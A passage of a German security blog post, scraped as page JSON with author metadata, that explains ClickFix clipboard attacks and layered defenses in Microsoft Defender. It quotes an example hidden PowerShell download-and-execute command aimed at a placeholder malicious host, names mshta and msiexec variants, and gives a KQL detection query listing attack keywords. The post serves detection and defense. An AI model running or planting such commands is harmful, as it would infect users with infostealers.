Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":997,"avatar":998,"permalink":999,"twitter":1000,"linkedin":1000,"imageOffsetTop":842,"socials":1001},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[1002,1004],{"text":741,"href":1003},"https://emptydc.com",{"text":1005,"href":1006},"Podcast","https://hairlessinthecloud.com",{"display_name":1008,"avatar":1009,"permalink":1010,"twitter":1011,"linkedin":1012},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":1014,"avatar":1015,"permalink":1016,"twitter":853,"linkedin":904},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":1018,"avatar":1019,"permalink":1020,"twitter":1021,"linkedin":904},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":1023,"avatar":1024,"permalink":1025,"twitter":1026,"linkedin":1027},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":1029,"avatar":1030,"permalink":1031,"twitter":1032,"linkedin":1032},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":1034,"avatar":1035,"permalink":1036,"twitter":1037,"linkedin":1038},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":1040,"avatar":1041,"permalink":1042,"twitter":1043,"linkedin":1044},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":1046,"avatar":1047,"permalink":1048,"linkedin":1049,"twitter":853},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":1051,"avatar":1052,"permalink":1053,"linkedin":1054,"twitter":853},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":1056,"avatar":1057,"permalink":1058,"linkedin":1059,"twitter":1060},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":1062,"avatar":1063,"permalink":1064,"linkedin":1065},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":1067,"avatar":1068,"permalink":1069,"linkedin":1070},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":1072,"avatar":1073,"permalink":1074,"linkedin":1075},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":1077,"avatar":1078,"permalink":1079,"linkedin":1080},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":1082,"avatar":1083,"permalink":1084,"linkedin":1085,"imageOffsetTop":842},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":1087,"avatar":1088,"permalink":1089,"linkedin":1090,"imageOffsetTop":842},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":1092,"avatar":1093,"permalink":1094,"linkedin":1095,"imageOffsetTop":940},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":1097,"avatar":1098,"permalink":1099,"linkedin":1100,"imageOffsetTop":940},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":1102,"avatar":1103,"permalink":1104,"linkedin":1105,"imageOffsetTop":940},"Pascal Asch","people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":1107,"avatar":1108,"permalink":1109,"linkedin":1110,"imageOffsetTop":1111,"imageOffsetLeft":1112},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":1114,"avatar":1115,"permalink":1116,"linkedin":1117,"imageOffsetTop":1118,"imageOffsetLeft":1119},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":1121,"avatar":1122,"permalink":1123,"linkedin":1124,"imageOffsetTop":1125,"imageOffsetLeft":1126},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%","60%",{"Fritz Zurhorst":1128,"Alexander Schlindwein":1129,"Sophie Luna":1130,"Nadine Klein":1131,"Karsten Kleinschmidt":1132,"Julian Wendt":1133,"Holger Bunkradt":1134,"Ralf Mania":1135,"Oliver Kieselbach":1136,"Steffen Schwerdtfeger":1137,"Gunnar Winter":1138,"Jan Petersen":1139,"Thorsten Kunzi":1140,"Moritz Pohl":1141,"Thorben Pöschus":1142,"Christoph Hannebauer":1143,"Marco Scheel":1144,"Christopher Brumm":1145,"Florian Klante":1146,"Niklas Bachmann":1147,"Nils Krautkrämer":1148,"Patrick Treptau":1149,"Peter Beckendorf":1150,"Patrick Sobau":1151,"Jörg Wunderlich":1152,"Michael Breither":1153,"Christian Kanja":1154,"Zeba Hoffmann":1155,"Jochen Fröhlich":1156,"Jan Geisbauer":1157,"Gerrit Reinke":1161,"Christian Kordel":1162,"Stephan Wälde":1163,"Carolin Kanja":1164,"Adrian Ritter":1165,"Marvin Bangert":1166,"Thorsten Pickhan":1167,"Christian Lorenz":1168,"Denis Böhm":1169,"Fabian Bader":1170,"Juan Jose Fernandez Perez":1171,"Mahschid Sayyar":1172,"Benjamin Dassow":1173,"Markus Walschburger":1174,"Jonathan Haist":1175,"Daniel Rohregger":1176,"Thomas Naunheim":1177,"Florian Stöckl":1178,"Pascal Asch":1179,"Markus Kättner":1180,"Anna Ulbricht":1181,"Annette Brauns":1182},{"display_name":812,"avatar":839,"permalink":840,"linkedin":841,"imageOffsetTop":842},{"display_name":844,"avatar":845,"permalink":846,"twitter":847,"linkedin":848},{"display_name":850,"avatar":851,"permalink":852,"twitter":853,"linkedin":854,"imageOffsetLeft":855,"imageOffsetTop":856},{"display_name":858,"avatar":859,"permalink":860,"twitter":861,"linkedin":862,"imageOffsetTop":842},{"display_name":864,"avatar":865,"permalink":866,"twitter":867,"linkedin":868},{"display_name":870,"avatar":871,"permalink":872,"linkedin":873},{"display_name":875,"avatar":876,"permalink":877,"linkedin":878,"twitter":879},{"display_name":881,"avatar":882,"permalink":883,"linkedin":884,"twitter":885},{"display_name":887,"avatar":888,"permalink":889,"linkedin":890,"twitter":891},{"display_name":893,"avatar":894,"permalink":895,"linkedin":896,"twitter":897,"imageOffsetTop":898,"imageOffsetLeft":899},{"display_name":901,"avatar":902,"permalink":903,"twitter":853,"linkedin":904},{"display_name":906,"avatar":907,"permalink":908,"twitter":853,"linkedin":909},{"display_name":911,"avatar":912,"permalink":913,"twitter":853,"linkedin":904,"imageOffsetTop":842},{"display_name":915,"avatar":916,"permalink":917,"twitter":853,"linkedin":918},{"display_name":920,"avatar":921,"permalink":922,"twitter":923,"linkedin":924},{"display_name":926,"avatar":927,"permalink":928,"twitter":853,"linkedin":904,"imageOffsetTop":842},{"display_name":930,"avatar":931,"permalink":932,"twitter":933,"linkedin":933},{"display_name":935,"avatar":936,"permalink":937,"twitter":938,"linkedin":939,"imageOffsetTop":940},{"display_name":942,"avatar":943,"permalink":944,"linkedin":945,"twitter":853},{"display_name":947,"avatar":948,"permalink":949,"linkedin":950,"twitter":853},{"display_name":952,"avatar":953,"permalink":954,"twitter":955,"linkedin":956},{"display_name":958,"avatar":959,"permalink":960,"linkedin":961,"twitter":853},{"display_name":963,"avatar":964,"permalink":965,"linkedin":966,"twitter":853,"imageOffsetTop":842},{"display_name":968,"avatar":969,"permalink":970,"linkedin":971,"twitter":853},{"display_name":973,"avatar":974,"permalink":975,"twitter":853},{"display_name":977,"avatar":978,"permalink":979,"twitter":853,"linkedin":980},{"display_name":982,"avatar":983,"permalink":984,"twitter":985,"linkedin":986},{"display_name":988,"avatar":989,"permalink":990,"linkedin":991,"twitter":853},{"display_name":993,"avatar":994,"permalink":995,"twitter":853,"linkedin":904},{"display_name":997,"avatar":998,"permalink":999,"twitter":1000,"linkedin":1000,"imageOffsetTop":842,"socials":1158},[1159,1160],{"text":741,"href":1003},{"text":1005,"href":1006},{"display_name":1008,"avatar":1009,"permalink":1010,"twitter":1011,"linkedin":1012},{"display_name":1014,"avatar":1015,"permalink":1016,"twitter":853,"linkedin":904},{"display_name":1018,"avatar":1019,"permalink":1020,"twitter":1021,"linkedin":904},{"display_name":1023,"avatar":1024,"permalink":1025,"twitter":1026,"linkedin":1027},{"display_name":1029,"avatar":1030,"permalink":1031,"twitter":1032,"linkedin":1032},{"display_name":1034,"avatar":1035,"permalink":1036,"twitter":1037,"linkedin":1038},{"display_name":1040,"avatar":1041,"permalink":1042,"twitter":1043,"linkedin":1044},{"display_name":1046,"avatar":1047,"permalink":1048,"linkedin":1049,"twitter":853},{"display_name":1051,"avatar":1052,"permalink":1053,"linkedin":1054,"twitter":853},{"display_name":1056,"avatar":1057,"permalink":1058,"linkedin":1059,"twitter":1060},{"display_name":1062,"avatar":1063,"permalink":1064,"linkedin":1065},{"display_name":1067,"avatar":1068,"permalink":1069,"linkedin":1070},{"display_name":1072,"avatar":1073,"permalink":1074,"linkedin":1075},{"display_name":1077,"avatar":1078,"permalink":1079,"linkedin":1080},{"display_name":1082,"avatar":1083,"permalink":1084,"linkedin":1085,"imageOffsetTop":842},{"display_name":1087,"avatar":1088,"permalink":1089,"linkedin":1090,"imageOffsetTop":842},{"display_name":1092,"avatar":1093,"permalink":1094,"linkedin":1095,"imageOffsetTop":940},{"display_name":1097,"avatar":1098,"permalink":1099,"linkedin":1100,"imageOffsetTop":940},{"display_name":1102,"avatar":1103,"permalink":1104,"linkedin":1105,"imageOffsetTop":940},{"display_name":1107,"avatar":1108,"permalink":1109,"linkedin":1110,"imageOffsetTop":1111,"imageOffsetLeft":1112},{"display_name":1114,"avatar":1115,"permalink":1116,"linkedin":1117,"imageOffsetTop":1118,"imageOffsetLeft":1119},{"display_name":1121,"avatar":1122,"permalink":1123,"linkedin":1124,"imageOffsetTop":1125,"imageOffsetLeft":1126},"Authors","6Y7BfYE7TWcvXULhz2gC_QgIoEgDksyJ8gExl9_0xy8",[1186],{"id":1187,"title":1188,"author":1189,"body":1190,"cta":777,"description":821,"eventid":777,"extension":824,"hideInRecent":762,"layout":1699,"meta":1700,"moment":1703,"navigation":521,"path":1746,"seo":1747,"stem":1748,"tags":1749,"webcast":762,"__hash__":1753},"content_de/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Wenn der Nutzer der Exploit ist, und wie ihr das stoppt",[812,858],{"type":814,"value":1191,"toc":1688},[1192,1197,1200,1203,1210,1218,1221,1227,1230,1249,1260,1266,1272,1275,1279,1281,1284,1287,1291,1293,1296,1310,1314,1316,1323,1402,1419,1422,1426,1428,1431,1446,1449,1452,1456,1458,1461,1464,1489,1493,1495,1498,1505,1509,1511,1514,1540,1543,1546,1549,1648,1651,1654,1657,1668,1671,1675,1677,1684],[1193,1194,1196],"h2",{"id":1195},"die-clickfix-angriffskette","Die ClickFix-Angriffskette",[817,1198,1199],{},"{: .h3-font-size}",[817,1201,1202],{},"ClickFix ist ein Angriff, bei dem Nutzer zu ihrem eigenen Angreifer werden. Kein Exploit, keine Schwachstelle. Das Opfer führt den Schadcode selbst aus, mit einem einzigen Copy-Paste.",[817,1204,1205],{},[1206,1207],"img",{"alt":1208,"src":1209},"ClickFix-Angriffskette in fünf Stufen: der Köder, der Trick, Copy-Paste, Ausführung, Infektion.","https://res.cloudinary.com/c4a8/image/upload/blog/pics/click-fix-img-01.png",[817,1211,1212,1213,1217],{},"Der Köder ist Social Engineering: ein gefälschtes CAPTCHA auf einer bösartigen Seite, eine falsche Support-Meldung (\"dein Browser braucht ein Update\"), eine Phishing-Mail oder eine gefälschte Meeting-Seite. Während das Opfer auf der Seite ist, schreibt JavaScript den Payload über ",[1214,1215,1216],"code",{},"clipboard.writeText()"," in die Zwischenablage. Dann fordert die Seite den Nutzer auf, Win+R, Strg+V und Enter zu drücken. Der Ausführen-Dialog startet, was in der Zwischenablage liegt.",[817,1219,1220],{},"Ein typischer Köder sieht so aus:",[817,1222,1223],{},[1206,1224],{"alt":1225,"src":1226},"Screenshot eines gefälschten CAPTCHA-Köders, der den Nutzer auffordert, Win und X zu drücken, dann einzufügen und mit Enter einen Befehl auszuführen.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-02.png",[817,1228,1229],{},"Der Befehl, den er in die Zwischenablage legt, sieht so aus:",[1231,1232,1234],"div",{"style":1233},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[1235,1236,1240],"pre",{"className":1237,"code":1238,"language":1239,"meta":821,"style":821},"language-powershell shiki shiki-themes github-light github-dark","powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)\n","powershell",[1214,1241,1242],{"__ignoreMap":821},[1243,1244,1247],"span",{"class":1245,"line":1246},"line",1,[1243,1248,1238],{},[817,1250,1251,1252,1255,1256,1259],{},"Zwei Dinge passieren gleichzeitig. PowerShell startet in einem versteckten Fenster (",[1214,1253,1254],{},"-w h","), und ",[1214,1257,1258],{},"iex(irm …)"," lädt den Payload und führt ihn direkt im Speicher aus. Nichts landet auf der Platte, signaturbasiertes Antivirus hat also nichts zu scannen. Die zweite Stufe ist meist ein Infostealer (Lumma, Vidar, RedLine, StealC), ein Remote Access Trojaner oder ein Ransomware-Loader.",[817,1261,1262,1263,1265],{},"Dasselbe Muster in der Microsoft-Defender-Telemetrie, ein verstecktes PowerShell, gestartet aus Windows Terminal, das ",[1214,1264,1258],{}," ausführt:",[817,1267,1268],{},[1206,1269],{"alt":1270,"src":1271},"Microsoft-Defender-Inspect-record mit der Prozesskette WindowsTerminal.exe zu pwsh.exe zu powershell.exe, die einen iex(irm …)-Befehl ausführt.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-03.png",[817,1273,1274],{},"Warum das so gut funktioniert: Alles läuft im Nutzerkontext, ohne erhöhte Rechte. Cookies, gespeicherte Passwörter und Session-Tokens liegen in Reichweite eines Standardnutzers. Der Angreifer muss keine Rechte eskalieren, um an das zu kommen, wofür er gekommen ist.",[1193,1276,1278],{"id":1277},"was-microsoft-defender-erkennt","Was Microsoft Defender erkennt",[817,1280,1199],{},[817,1282,1283],{},"Microsoft hat in den letzten Monaten viel in die ClickFix-Erkennung investiert. Wenn euer Defender gesund und richtig konfiguriert ist, bekommt ihr native Erkennungen für ClickFix-Payloads. Seit Q2 2025 veröffentlicht MDE verhaltensbasierte Alerts unter Titeln wie \"Suspicious 'ClickFix' behavior detected\", \"Malicious PowerShell command executed via Run dialog\" oder \"An active 'Pacalau' malware in a command line was prevented from executing\". Sie feuern aus der MDE-Cloud-Engine über die Analyse der Prozesskette, parallel zur AV-Erkennung und oft ein paar Sekunden früher.",[817,1285,1286],{},"Die Konfiguration, die das möglich macht, steht weiter unten bei der Härtung der Ausführung.",[1193,1288,1290],{"id":1289},"wo-die-native-erkennung-an-ihre-grenzen-kommt","Wo die native Erkennung an ihre Grenzen kommt",[817,1292,1199],{},[817,1294,1295],{},"Cloud-basierte ML-Signaturen brauchen Zeit, bis sie auslösen. Wir sehen regelmäßig eine Lücke von über einer Minute zwischen dem PowerShell-Start und dem Defender-Alert. Ein schnellerer Payload rutscht durch dieses Fenster.",[817,1297,1298,1299,1301,1302,1305,1306,1309],{},"Angreifer passen sich außerdem schnell an. Tausche ",[1214,1300,1239],{}," gegen ",[1214,1303,1304],{},"mshta http://..."," oder ",[1214,1307,1308],{},"msiexec /i http://...",", beides klassische LOLBins, und die PowerShell-spezifischen Erkennungen greifen nicht mehr.",[1193,1311,1313],{"id":1312},"die-lücke-schließen-ein-runmru-hunt","Die Lücke schließen: ein RunMRU-Hunt",[817,1315,1199],{},[817,1317,1318,1319,1322],{},"Diese Lücke schließen wir mit Custom Detections. Ausgangspunkt ist eine KQL-Abfrage auf den Registry-Key ",[1214,1320,1321],{},"RunMRU",", der jeden Befehl mitschreibt, den ein Nutzer in den Win+R-Dialog tippt.",[1231,1324,1325],{"style":1233},[1235,1326,1330],{"className":1327,"code":1328,"language":1329,"meta":821,"style":821},"language-kusto shiki shiki-themes github-light github-dark","DeviceRegistryEvents\n| where ActionType =~ \"RegistryValueSet\"\n| where InitiatingProcessFileName =~ \"explorer.exe\"\n| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n| where RegistryValueData has \" ✅ \"\n    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n","kusto",[1214,1331,1332,1337,1342,1348,1354,1360,1366,1372,1378,1384,1390,1396],{"__ignoreMap":821},[1243,1333,1334],{"class":1245,"line":1246},[1243,1335,1336],{},"DeviceRegistryEvents\n",[1243,1338,1339],{"class":1245,"line":822},[1243,1340,1341],{},"| where ActionType =~ \"RegistryValueSet\"\n",[1243,1343,1345],{"class":1245,"line":1344},3,[1243,1346,1347],{},"| where InitiatingProcessFileName =~ \"explorer.exe\"\n",[1243,1349,1351],{"class":1245,"line":1350},4,[1243,1352,1353],{},"| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n",[1243,1355,1357],{"class":1245,"line":1356},5,[1243,1358,1359],{},"| where RegistryValueData has \" ✅ \"\n",[1243,1361,1363],{"class":1245,"line":1362},6,[1243,1364,1365],{},"    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n",[1243,1367,1369],{"class":1245,"line":1368},7,[1243,1370,1371],{},"        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n",[1243,1373,1375],{"class":1245,"line":1374},8,[1243,1376,1377],{},"    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n",[1243,1379,1381],{"class":1245,"line":1380},9,[1243,1382,1383],{},"    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n",[1243,1385,1387],{"class":1245,"line":1386},10,[1243,1388,1389],{},"    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n",[1243,1391,1393],{"class":1245,"line":1392},11,[1243,1394,1395],{},"        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n",[1243,1397,1399],{"class":1245,"line":1398},12,[1243,1400,1401],{},"            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n",[817,1403,1404,1405,1408,1409,1408,1412,1408,1415,1418],{},"Die Abfrage markiert jeden Win+R-Eintrag, der wie ein ClickFix-Befehl aussieht: PowerShell, mshta, curl oder msiexec zusammen mit typischen Indikatoren wie ",[1214,1406,1407],{},"-w hidden",", ",[1214,1410,1411],{},"iex",[1214,1413,1414],{},"irm",[1214,1416,1417],{},"DownloadString"," oder Base64-kodierten Payloads. Sie fängt auch die subtilen Tricks. Das grüne Häkchen-Emoji, das viele gefälschte CAPTCHA-Köder vor den Befehl setzen. Unicode-Zeichen aus kyrillischen, arabischen oder thailändischen Bereichen, mit denen Angreifer Text tarnen und einfache String-Filter umgehen. Taucht eines dieser Muster in einem Win+R-Eintrag auf, läuft sehr wahrscheinlich gerade ein ClickFix-Angriff.",[817,1420,1421],{},"Für unsere CSOC-Kunden betreiben wir diese und weitere Custom Detections, um die Lücke zwischen neuen Angriffstechniken und der eingebauten Erkennung zu schließen.",[1193,1423,1425],{"id":1424},"schutz-layer-1-die-zustellung-blockieren","Schutz-Layer 1: die Zustellung blockieren",[817,1427,1199],{},[817,1429,1430],{},"Jetzt zur Prävention. ClickFix ist verbreitet und erfolgreich, ein einzelner Schutz reicht also nicht. Wir arbeiten in Layern, von der Zustellung bis zur Ausführung.",[817,1432,1433,1434,1437,1438,1441,1442,1445],{},"Network Protection blockiert bekannte Delivery-Domains und C2-Server für alle Browser. MDE Web Content Filtering ergänzt Kategorien wie \"Newly registered domains\", \"Hacking\" und \"Illegal Software\". Network Protection ist in Windows eingebaut, aber für Drittanbieter-Browser müsst ihr QUIC und ECH deaktivieren, weil beide die komplette Verbindung verschlüsseln und die Zieldomain verbergen. Deaktiviert QUIC in Chrome und Firefox per Enterprise-Policy (",[1214,1435,1436],{},"QuicAllowed = Disabled"," in Chrome, ",[1214,1439,1440],{},"network.http.http3.enable = false"," in Firefox); für ECH setzt ihr in Chrome ",[1214,1443,1444],{},"EncryptedClientHelloEnabled = Disabled",".",[817,1447,1448],{},"Für Edge aktiviert ihr SmartScreen. Für Drittanbieter-Browser schaltet ihr deren eingebautes Safe Browsing ein. Das ist nicht dasselbe wie Network Protection, hilft aber beim Filtern schädlicher Seiten. Für den Mail-Vektor prüfen Safe Links und Safe Attachments Links und Anhänge, bevor Nutzer damit interagieren.",[817,1450,1451],{},"Der Haken: All das greift nur gegen bekannte Infrastruktur. Aktuelle ClickFix-Kampagnen laufen über frisch registrierte Infrastruktur, die zu spät identifiziert und blockiert wird, und manchmal über legitime Seiten, die ein Angreifer kompromittiert hat. Also schauen wir uns an, was schützt, nachdem der Köder zugestellt wurde.",[1193,1453,1455],{"id":1454},"schutz-layer-2-den-trick-blockieren","Schutz-Layer 2: den Trick blockieren",[817,1457,1199],{},[817,1459,1460],{},"Ein paar Edge-Features erhöhen die Hürde, während der Nutzer auf einer bösartigen Seite ist. Das Governen von Browser-Extensions verhindert, dass Nutzer bösartige oder kompromittierte Erweiterungen installieren, die ClickFix-Overlays einschleusen oder selbst die Zwischenablage manipulieren. Der Edge Enhanced Security Mode legt strengere Schutzmaßnahmen auf unbekannte und selten besuchte Seiten (JIT deaktiviert, Control Flow Guard, hardwaregestützter Stack-Schutz), was exploitbasierte Browser-Übernahmen deutlich erschwert. Typo Protection warnt vor typosquatted Domains (micros0ft.com, paypa1.com) und blockiert einen verbreiteten ClickFix-Delivery-Vektor über gefälschte Markendomains.",[817,1462,1463],{},"Technische Kontrollen sind nur die halbe Miete. Nutzer-Aufklärung bleibt entscheidend. Die eine Regel, die den größten Teil trägt: Wenn eine Webseite dich auffordert, etwas in deinen Computer einzufügen, ist es ein Angriff. Macht das im Awareness-Training konkret:",[1465,1466,1468,1469,1468,1477,1468,1483],"ul",{"style":1467},"margin: 0.25rem 0","\n  ",[1470,1471,1472,1476],"li",{},[1473,1474,1475],"strong",{},"Echte Köder zeigen:"," gefälschte \"Verify you are human\"-Checkboxen, \"dein Browser braucht ein Update\", \"das Dokument konnte nicht gerendert werden, führe diesen Fix aus\", kaputte Teams- oder Zoom-Audio-Prompts.",[1470,1478,1479,1482],{},[1473,1480,1481],{},"Den Clipboard-Trick vorführen:"," zeigen, wie die Seite die Zwischenablage still überschreibt.",[1470,1484,1485,1488],{},[1473,1486,1487],{},"Melden einfach machen:"," schnell und ohne Schuldzuweisung.",[1193,1490,1492],{"id":1491},"schutz-layer-3-die-aktion-blockieren","Schutz-Layer 3: die Aktion blockieren",[817,1494,1199],{},[817,1496,1497],{},"Hier gibt es ein paar Möglichkeiten, das System zu härten, keine davon ist eine Garantie. Fangt damit an, den Ausführen-Dialog zu deaktivieren, das entfernt den Win+R-Einstiegspunkt. Microsofts ClickFix-Guidance empfiehlt, ihn zu deaktivieren, \"where it isn't necessary\". Das schließt den spezifischen Win+R-Paste-Angriff, aber alternative Startflächen bleiben, etwa die Explorer-Adressleiste und Windows Terminal.",[817,1499,1500,1501,1504],{},"Ihr könnt Edge zusätzlich mit ",[1214,1502,1503],{},"DefaultClipboardSetting"," härten, das verhindert, dass JavaScript still in die Zwischenablage schreibt.",[1193,1506,1508],{"id":1507},"schutz-layer-4-die-ausführung-blockieren","Schutz-Layer 4: die Ausführung blockieren",[817,1510,1199],{},[817,1512,1513],{},"Vor den fortgeschrittenen Features bringt die Grundlagen in Ordnung. Für ClickFix heißt das:",[1465,1515,1468,1516,1468,1522,1468,1528,1468,1534],{"style":1467},[1470,1517,1518,1521],{},[1473,1519,1520],{},"Local Admin Reduction:"," lokale Administratorrechte wo möglich von Endnutzern entfernen, um die Wirkung einer Codeausführung zu begrenzen.",[1470,1523,1524,1527],{},[1473,1525,1526],{},"Endpoint Privilege Management (EPM):"," Nutzer als Standardnutzer arbeiten lassen und nur freigegebene Apps über Policy-Regeln elevieren.",[1470,1529,1530,1533],{},[1473,1531,1532],{},"UAC-Härtung:"," Secure-Desktop-Enforcement, Prompt-Verhalten für Admins und Standardnutzer sowie Installer-Erkennung prüfen.",[1470,1535,1536,1539],{},[1473,1537,1538],{},"Credential Guard:"," NTLM-Hashes, Kerberos-Tickets und weiteres Credential-Material per virtualisierungsbasierter Sicherheit isolieren, damit Credential-Diebstahl schwer bleibt, selbst wenn ein Angreifer Adminrechte erlangt.",[817,1541,1542],{},"Diese Kontrollen reduzieren Eskalationsmöglichkeiten, schützen Credentials und erzwingen Least Privilege. Die Grenze dabei: Sie begrenzen, was nach einer Kompromittierung passiert. Sie halten einen Infostealer im Standardnutzer-Kontext nicht davon ab, für den Nutzer lesbare Cookies, Session-Tokens und App-Credential-Stores auszulesen.",[817,1544,1545],{},"Dann Microsoft Defender. Defender AV kann den Payload der zweiten Stufe erkennen, aber nur mit den richtigen Einstellungen: Cloud Protection einschalten und das Schutzlevel auf High oder High+ setzen. AMSI, das Antimalware Scan Interface, lässt Anwendungen Inhalte zur Laufzeit an Defender zur Prüfung übergeben, nachdem sie im Speicher entschlüsselt oder deobfuskiert wurden, aber bevor sie ausgeführt werden. PowerShell nutzt AMSI, um Schadcode zu identifizieren, und AMSI braucht Echtzeitschutz und Behavior Monitoring.",[817,1547,1548],{},"Mindestens fünf Attack-Surface-Reduction-Regeln sind gegen ClickFix relevant:",[1231,1550,1552],{"style":1551},"margin: 0.5rem 0 2rem; overflow-x: auto",[1553,1554,1468,1556,1468,1575],"table",{"style":1555},"width:100%; border-collapse: collapse; font-size: 0.85rem",[1557,1558,1559,1560,1468],"thead",{},"\n    ",[1561,1562,1563,1564,1563,1569,1563,1572,1559],"tr",{},"\n      ",[1565,1566,1568],"th",{"style":1567},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Regel",[1565,1570,1571],{"style":1567},"GUID",[1565,1573,1574],{"style":1567},"ClickFix-Relevanz",[1576,1577,1559,1578,1559,1594,1559,1609,1559,1622,1559,1635,1468],"tbody",{},[1561,1579,1563,1580,1563,1585,1563,1591,1559],{},[1581,1582,1584],"td",{"style":1583},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Ausführung potenziell verschleierter Skripte blockieren",[1581,1586,1588],{"style":1587},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa; white-space: nowrap",[1214,1589,1590],{},"5beb7efe-fd9a-4556-801d-275e5ffc04cc",[1581,1592,1593],{"style":1583},"Verschleierte oder kodierte Skripte in der Ausführungs- und Evasion-Phase",[1561,1595,1563,1596,1563,1600,1563,1606,1559],{},[1581,1597,1599],{"style":1598},"border: 1px 